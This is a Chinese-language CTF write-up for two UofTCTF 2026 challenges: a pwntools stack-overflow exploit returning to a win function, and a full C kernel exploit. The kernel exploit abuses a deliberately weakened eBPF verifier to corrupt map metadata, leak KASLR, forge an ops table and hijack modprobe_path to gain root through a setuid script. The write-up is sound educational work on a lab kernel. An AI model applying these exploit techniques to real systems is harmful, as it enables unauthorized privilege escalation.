又是一年uoft,恰巧碰上期末考试周
babybof
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
简单的签到题
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[8]; // [rsp+0h] [rbp-10h] BYREF
__int64 v5; // [rsp+8h] [rbp-8h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
*(_QWORD *)s = 0LL;
v5 = 0LL;
puts("What is your name: ");
gets(s);
if ( strlen(s) > 0xE )
{
puts("Thats suspicious.");
exit(1);
}
printf("Hi, %s!\n", s);
return 0;
}
gets()函数造成栈溢出,但是有个 strlen(s) > 0xE的检查
strlen遇到b”\x00″会截断,继续往后写就会绕过这个检查
然后覆盖返回地址到win()后门,其中注意下对齐就行
0x000000000040101a : ret
EXP
from pwn import *
context.arch = "amd64"
context.log_level = "debug"
io = process("./chall")
offset = 24
ret = 0x40101A
elf=ELF("./chall")
win=0x4011f6
payload = b"A" * 8
payload += b"\x00"
payload += b"B" * (offset - len(payload))
payload += p64(ret)
payload += p64(win)
io.sendlineafter(b"What is your name:", payload)
io.interactive()
extended-eBPF
一道内核利用题目
start.qemu.sh
#!/bin/sh
exec qemu-system-x86_64 \
-m 128M \
-smp 1 \
-cpu qemu64,+smep,+smap \
-kernel bzImage \
-initrd initramfs.cpio.gz \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 quiet kaslr panic=0 oops=panic"
smep和smap还有kaslr
题目给了chall.patch
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 24ae8f33e5d7..e5641845ecc0 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -13030,7 +13030,7 @@ static int retrieve_ptr_limit(const struct bpf_reg_state *ptr_reg,
static bool can_skip_alu_sanitation(const struct bpf_verifier_env *env,
const struct bpf_insn *insn)
{
- return env->bypass_spec_v1 || BPF_SRC(insn->code) == BPF_K;
+ return true;
}
static int update_alu_sanitation_state(struct bpf_insn_aux_data *aux,
@@ -14108,7 +14108,7 @@ static bool is_safe_to_compute_dst_reg_range(struct bpf_insn *insn,
case BPF_LSH:
case BPF_RSH:
case BPF_ARSH:
- return (src_is_const && src_reg->umax_value < insn_bitness);
+ return (src_reg->umax_value < insn_bitness);
default:
return false;
}
可以看到它的改动:can_skip_alu_sanitation() -> true,危险 ALU 修正全跳过
还有位移量src_reg只要估计范围合法就算安全
原本src_is_const:判断位移量是不是常量,src_reg->umax_value < insn_bitness:判断位移量上界小于位宽(32位/64位),避免移位过大,这些条件都被放宽了
verifier 是内核里给程序做静态检查的组件
它会在 bpf(BPF_PROG_LOAD) 时判断:有没有越界、非法指针运算、类型不安全等
而这两句patch造成的漏洞就会让verifier误判, 看到的寄存器范围和运行时真实值分离,就能构造“verifier 以为偏移是 0,实际偏移非 0”的 map value 指针运算,打到相邻 map metadata
wyh@WYH1412:/mnt/c/Users/WYH/Desktop/uoftctf2026/eebpf/initramfs.cpio/initramfs/etc$ ls
cron group- init.d mtab os-release profile resolv.conf shadow-
fstab hostname inittab network passwd profile.d services shells
group hosts issue nsswitch.conf passwd- protocols shadow
wyh@WYH1412:/mnt/c/Users/WYH/Desktop/uoftctf2026/eebpf/initramfs.cpio/initramfs/etc$ cat passwd
root:x:0:0:root:/root:/usr/sbin/nologin
daemon:x:1:1:daemon:/usr/sbin:/bin/false
bin:x:2:2:bin:/bin:/bin/false
sys:x:3:3:sys:/dev:/bin/false
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/false
www-data:x:33:33:www-data:/var/www:/bin/false
operator:x:37:37:Operator:/var:/bin/false
nobody:x:65534:65534:nobody:/home:/bin/false
ctf:x:1000:1000:Linux User,,,:/home/ctf:/bin/sh
登录的普通用户为ctf,并且qemu里面可以让普通用户加载 BPF
map 就是 eBPF 给的一块“内核里的小存储空间”。
可以把它理解成:用户态程序可以往里面存数据、取数据,BPF 程序在内核里运行时,也可以访问它,所以它像是“用户态和 BPF 共用的一块内核内存”
比如 array map 就像:
map[0] map[1] map[2] ...
另一个 map 在内核里的对象头,也就是它的 metadata。
这些 metadata 里有很关键的字段,比如:
这个 map 有多大,它的类型是什么,它的方法表 ops 在哪
一旦这些字段被改,整个 map 的行为就会失控,后面就能做更大的读写
OOB 就是 out-of-bounds,越界。正常情况下,map_lookup_elem(oob_map) 只会给你 oob_map 自己 value 的指针。但 patch 把 verifier 搞坏后,BPF 程序里那段 shift gadget 会让 verifier 以为偏移还是 0,运行时实际上偏移变成了非 0,所以指针被挪到了旁边对象上
先越界写坏的是 victim_map 的:
- max_entries
- index_mask
一般+0x10:map_type
+0x18:value_size 和 max_entries
这样 victim_map 本来只能访问合法元素,之后就能用超大索引去读写“本来不属于它”的位置。于是我们从 victim_map 里泄露了两样关键东西:
- array_map_ops
这是内核里 array map 的函数表指针。它是个稳定的内核地址,拿到它就能算 KASLR 偏移。 - map_ptr
这是堆上的 map 对象地址。拿到它就知道要伪造覆写的对象大概在什么位置。
参考官方源码:
- struct bpf_map_ops: https://raw.githubusercontent.com/gregkh/linux/v6.12.47/include/linux/bpf.h
- struct bpf_map: https://raw.githubusercontent.com/gregkh/linux/v6.12.47/include/linux/bpf.h
- array_map_ops: https://raw.githubusercontent.com/gregkh/linux/v6.12.47/kernel/bpf/arraymap.c
逻辑上是这 5 步:
- 先有最小 harness:创建 map、加载 BPF、触发 socket filter。
- 加漏洞 gadget:从 oob_map 出发,越界改坏 victim_map metadata。
- 用 victim_map 做 OOB 读,泄露 array_map_ops 和 map_ptr。
- 在可控内存里伪造 fake_vtable,再把 exp_map 的 metadata 改掉,让 exp_map 不再表现得像普通 array map,而是变成一个可利用的“写工具”。
- 计算 modprobe_path 的运行时地址,写入 /tmp/x,再触发 kernel 去执行它。
关于modprobe_path
它是内核里的一个全局字符串,表示当内核需要调用 modprobe/helper 时,去执行哪个程序。默认一般像 /sbin/modprobe。
这题里我们把它改成 /tmp/x。然后内核一旦因为未知格式/未知协议去调用 helper,就会以 root 身份执行 /tmp/x。所以 /tmp/x 里写的是:
- 把 /home/ctf/exp 的 owner 改成 root
- 给 /home/ctf/exp 加 setuid
这样你再执行 /home/ctf/exp,就变成 root 了。
所以真正的提权不是modprobe 给你授权,而“你劫持了内核原本会以 root 执行的 helper 路径
举个找静态地址STATIC_MODPROBE_PATH的例子:
wyh@WYH1412:/mnt/c/Users/WYH/Desktop/uoftctf2026/eebpf$ curl -L --fail https://raw.githubusercontent.com/gregkh/linux/v6.12.47/scripts/extract-vmlinux -o /tmp/extract-vmlinux
chmod +x /tmp/extract-vmlinux
/tmp/extract-vmlinux /mnt/c/Users/WYH/Desktop/uoftctf2026/eebpf/bzImage > /tmp/eebpf_vmlinux
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1695 100 1695 0 0 3711 0 --:--:-- --:--:-- --:--:-- 3717
wyh@WYH1412:/mnt/c/Users/WYH/Desktop/uoftctf2026/eebpf$ readelf -W -S /tmp/eebpf_vmlinux | grep -E '\.rodata|\.data'
[ 2] .rodata PROGBITS ffffffff81c00000 e00000 2ecb46 00 WA 0 0 4096
[11] .data PROGBITS ffffffff82000000 1200000 186a40 00 WA 0 0 8192
[14] .data..percpu PROGBITS 0000000000000000 1400000 02db18 00 WA 0 0 4096
[17] .init.data PROGBITS ffffffff82226000 1626000 098548 00 WA 0 0 8192
[31] .data_nosave PROGBITS ffffffff823a1000 17a1000 000000 00 W 0 0 1
wyh@WYH1412:/mnt/c/Users/WYH/Desktop/uoftctf2026/eebpf$ strings -t x /tmp/eebpf_vmlinux | grep '/sbin/modprobe'
12be1e0 /sbin/modprobe
wyh@WYH1412:/mnt/c/Users/WYH/Desktop/uoftctf2026/eebpf$ python3 - <<'PY'
data_va = 0xffffffff82000000
data_off = 0x1200000
str_off = 0x12be1e0
print(hex(data_va + (str_off - data_off)))
PY
0xffffffff820be1e0
这就是:
STATIC_MODPROBE_PATH = 0xffffffff820be1e0
EXP.C
#include <fcntl.h>
#include <linux/bpf.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include "bpf_insn.h"
/*
* 这两个静态地址都是从这份 bzImage 解出来的 vmlinux 里算出来的:
* - STATIC_MODPROBE_PATH: 在 .data 里找 "/sbin/modprobe" 这个字符串
* - STATIC_ARRAY_MAP_OPS: 在 .rodata 里匹配 array_map_ops 那张函数表
*/
#define STATIC_ARRAY_MAP_OPS 0xffffffff81c1d9a0ULL
#define STATIC_MODPROBE_PATH 0xffffffff820be1e0ULL
/*
* 这些偏移和这份内核的堆布局有关,是从 victim_map 的 OOB 窗口里量出来的。
* 它们不是通用常量,只对这份内核编译结果生效。
*/
#define CORRUPT_STEP 0xc9ULL
#define ADJ_EXP_MAP_OPS_OFF 0x308ULL
#define ADJ_EXP_MAP_PTR_OFF (ADJ_EXP_MAP_OPS_OFF + 0x70ULL)
/* 这个是源码里能直接算出来的:offsetof(struct bpf_array, value) */
#define BPF_ARRAY_VALUE_OFF 0xf8ULL
int bpf(int cmd, union bpf_attr *attr)
{
return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}
int bpf_prog_load(union bpf_attr *attr)
{
return bpf(BPF_PROG_LOAD, attr);
}
int bpf_map_create(uint32_t key_size, uint32_t value_size, uint32_t max_entries)
{
union bpf_attr attr = {
.map_type = BPF_MAP_TYPE_ARRAY,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries,
};
return bpf(BPF_MAP_CREATE, &attr);
}
int bpf_map_update_elem(int map_fd, uint64_t key, uint64_t *value, uint64_t flags)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)&key,
.value = (uint64_t)value,
.flags = flags,
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}
uint64_t bpf_map_lookup_elem(int map_fd, uint32_t key, int index)
{
uint64_t value[0x150 / 8] = {};
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)&key,
.value = (uint64_t)&value,
};
bpf(BPF_MAP_LOOKUP_ELEM, &attr);
return value[index];
}
uint64_t bpf_map_lookup_key(int map_fd, uint32_t key, void *value)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)&key,
.value = (uint64_t)value,
};
return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}
uint64_t bpf_map_update_key(int map_fd, uint32_t key, void *value, uint64_t flags)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)&key,
.value = (uint64_t)value,
.flags = flags,
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}
union bpf_attr *create_bpf_prog(struct bpf_insn *insns, unsigned int insn_cnt)
{
union bpf_attr *attr = malloc(sizeof(union bpf_attr));
attr->prog_type = BPF_PROG_TYPE_SOCKET_FILTER;
attr->insn_cnt = insn_cnt;
attr->insns = (uint64_t)insns;
attr->license = (uint64_t)"";
return attr;
}
int socks[2] = {-1};
int attach_socket(int prog_fd)
{
if (socks[0] == -1 && socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) < 0) {
perror("socketpair");
exit(1);
}
if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0) {
perror("setsockopt");
exit(1);
}
return 0;
}
void setup_bpf_prog(struct bpf_insn *insns, size_t insn_cnt)
{
union bpf_attr *prog = create_bpf_prog(insns, insn_cnt);
int prog_fd = bpf_prog_load(prog);
if (prog_fd < 0) {
perror("prog_load");
exit(1);
}
attach_socket(prog_fd);
}
void run_bpf_prog(struct bpf_insn *insns, size_t insn_cnt)
{
int val = 0;
setup_bpf_prog(insns, insn_cnt);
write(socks[1], &val, sizeof(val));
}
void write_file(const char *filename, const char *content)
{
int fd = open(filename, O_RDWR | O_CREAT, 0755);
if (fd < 0) {
perror("open");
exit(1);
}
if (write(fd, content, strlen(content)) < 0) {
perror("write");
exit(1);
}
close(fd);
}
int main(void)
{
setuid(0);
if (getuid() == 0) {
system("/bin/sh");
}
int oob_map = bpf_map_create(4, 0x150, 1);
int victim_map = bpf_map_create(4, 8, 0x150 / 8);
int exp_map = bpf_map_create(4, 8, 0x150 / 8);
if (oob_map < 0 || victim_map < 0 || exp_map < 0) {
perror("create_map");
return 1;
}
size_t val = 1;
bpf_map_update_elem(oob_map, 0, &val, BPF_ANY);
printf("oob_map[0] = %p\n", (void *)bpf_map_lookup_elem(oob_map, 0, 0));
size_t test = 0;
memcpy(&test, "\x60\x61\x62\x63\x64\x65\x66\x67", 8);
/*
* 第一步:利用 verifier 漏洞,先把旁边 victim_map 的 metadata 打坏。
* 打坏后:
* - victim_map->max_entries = 0xffffffff
* - victim_map->index_mask = 0xffffffff
* 这样 victim_map 的 lookup/update 就变成了一个 OOB 窗口。
*/
struct bpf_insn kleak_prog[] = {
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_MOV64_IMM(BPF_REG_1, test),
BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),
BPF_MOV64_REG(BPF_REG_6, BPF_REG_1),
BPF_LD_MAP_FD(BPF_REG_1, oob_map),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
BPF_LDX_MEM(BPF_W, BPF_REG_8, BPF_REG_7, 0),
BPF_ALU64_IMM(BPF_AND, BPF_REG_8, 1),
BPF_MOV64_IMM(BPF_REG_0, 1),
/* verifier 以为 r0 还是 1,但运行时它可能变成 0 */
BPF_ALU64_REG(BPF_ARSH, BPF_REG_0, BPF_REG_8),
BPF_MOV64_IMM(BPF_REG_9, 1),
/* verifier 以为 r9 变成 0,但运行时它会变成 1 */
BPF_ALU64_REG(BPF_SUB, BPF_REG_9, BPF_REG_0),
BPF_ALU64_IMM(BPF_MUL, BPF_REG_9, CORRUPT_STEP),
BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_9),
BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_9),
BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_9),
BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_9),
BPF_MOV64_IMM(BPF_REG_1, 0xffffffff),
/* 写 victim_map->max_entries */
BPF_STX_MEM(BPF_W, BPF_REG_7, BPF_REG_1, 0),
BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_9),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 7),
/* 写 victim_map->index_mask */
BPF_STX_MEM(BPF_W, BPF_REG_7, BPF_REG_1, 0),
BPF_EXIT_INSN(),
};
run_bpf_prog(kleak_prog, sizeof(kleak_prog) / sizeof(kleak_prog[0]));
uint64_t array_map_ops = 0;
uint64_t map_ptr = 0;
/*
* 第二步:利用打坏后的 victim_map 去越界读旁边 exp_map 的对象头。
* - +0x308 可以读到 exp_map->ops,也就是运行时的 array_map_ops
* - +0x308+0x70 可以读到一个稳定的对象内指针,用它反推 exp_map 基址
*/
printf("lookup1: %p\n", (void *)bpf_map_lookup_key(victim_map, ADJ_EXP_MAP_OPS_OFF / 8, &array_map_ops));
printf("lookup2: %p\n", (void *)bpf_map_lookup_key(victim_map, ADJ_EXP_MAP_PTR_OFF / 8, &map_ptr));
printf("leaked array_map_ops = %p\n", (void *)array_map_ops);
printf("leaked heap ptr = %p\n", (void *)map_ptr);
/*
* 第三步:在可控的 map value 里伪造一张 bpf_map_ops 表。
* 这里面的静态地址来自本地这份 vmlinux,再用泄露出的 array_map_ops
* 做一次重定位,就能变成运行时可用的函数表。
*/
size_t fake_vtable[] = {
0xffffffff811d39d0ULL, 0xffffffff811d4ca0ULL,
0x0000000000000000ULL, 0xffffffff811d52c0ULL,
0xffffffff811d3b40ULL, 0x0000000000000000ULL,
0x0000000000000000ULL, 0xffffffff81197020ULL,
0x0000000000000000ULL, 0x0000000000000000ULL,
0xffffffff81196df0ULL, 0x0000000000000000ULL,
0xffffffff811d3df0ULL, 0xffffffff811d5760ULL,
0xffffffff811d3b90ULL, 0x0000000000000000ULL,
0x0000000000000000ULL, 0x0000000000000000ULL,
0xffffffff811d3da0ULL, 0x0000000000000000ULL,
0x0000000000000000ULL, 0xffffffff811d4520ULL,
0x0000000000000000ULL, 0xffffffff811d4430ULL,
0xffffffff811d50a0ULL, 0x0000000000000000ULL,
0x0000000000000000ULL, 0x0000000000000000ULL,
0x0000000000000000ULL, 0x0000000000000000ULL,
0x0000000000000000ULL, 0x0000000000000000ULL,
0x0000000000000000ULL, 0x0000000000000000ULL,
0x0000000000000000ULL, 0x0000000000000000ULL,
0x0000000000000000ULL, 0xffffffff811d8d30ULL,
0xffffffff811be490ULL, 0xffffffff811d3f60ULL,
0xffffffff811d3e30ULL, 0xffffffff823e1b60ULL,
0xffffffff81c1db00ULL,
};
/*
* 第 15 个槽位是 map_push_elem。把它改成 array_map_get_next_key() 后:
* BPF_MAP_UPDATE_ELEM(exp_map, value, target_addr)
* 会变成
* array_map_get_next_key(map, key=value, next_key=target_addr)
* 这样就能往 target_addr 写 4 个字节。
*/
fake_vtable[15] = 0xffffffff811d3b40ULL;
for (int i = 0; i < (int)(sizeof(fake_vtable) / sizeof(fake_vtable[0])); i++) {
fake_vtable[i] += array_map_ops - STATIC_ARRAY_MAP_OPS;
bpf_map_update_key(victim_map, i, &fake_vtable[i], BPF_ANY);
}
val = 1ULL << 32;
bpf_map_update_key(exp_map, 0, &val, BPF_ANY);
/*
* 第四步:把旁边 exp_map 的 metadata 改成我们想要的样子:
* - exp_map->ops -> 指向 fake_vtable
* - exp_map->map_type -> 改成 BPF_MAP_TYPE_STACK
* 这样 MAP_UPDATE_ELEM 会走 map_push_elem 这条路径
* - exp_map 的数据区 -> 指到我们可控的位置
*/
val = map_ptr - 0x70 - 0x400 + BPF_ARRAY_VALUE_OFF;
bpf_map_update_key(victim_map, ADJ_EXP_MAP_OPS_OFF / 8, &val, BPF_ANY);
val = 0xffffffff00000008ULL;
bpf_map_update_key(victim_map, (ADJ_EXP_MAP_OPS_OFF + 0x18) / 8, &val, BPF_ANY);
val = BPF_MAP_TYPE_STACK | 4ULL << 32;
bpf_map_update_key(victim_map, (ADJ_EXP_MAP_OPS_OFF + 0x10) / 8, &val, BPF_ANY);
val = map_ptr - 0x70 + BPF_ARRAY_VALUE_OFF;
bpf_map_update_key(victim_map, (ADJ_EXP_MAP_OPS_OFF + 0x30) / 8, &val, BPF_ANY);
/* 运行时 modprobe_path = 泄露出的 array_map_ops + 静态差值 */
size_t modprobe_addr = array_map_ops + (STATIC_MODPROBE_PATH - STATIC_ARRAY_MAP_OPS);
char *target = "/tmp/x";
/* 这个函数写进去的是 index + 1,所以这里要传 目标值 - 1 */
val = *(int *)(&target[0]) - 1;
printf("push1: %ld\n", (long)bpf_map_update_key(exp_map, 0, &val, modprobe_addr));
val = *(int *)(&target[4]) - 1;
printf("push2: %ld\n", (long)bpf_map_update_key(exp_map, 0, &val, modprobe_addr + 4));
write_file("/tmp/x",
"#!/bin/sh\n"
"/bin/chown root:root /home/ctf/exp\n"
"/bin/chmod u+s /home/ctf/exp\n");
system("chmod 755 /tmp/x");
/* 劫持 modprobe_path 后,触发一次内核以 root 身份执行 helper */
close(socket(AF_INET, SOCK_STREAM, 255));
system("/home/ctf/exp");
return 0;
}









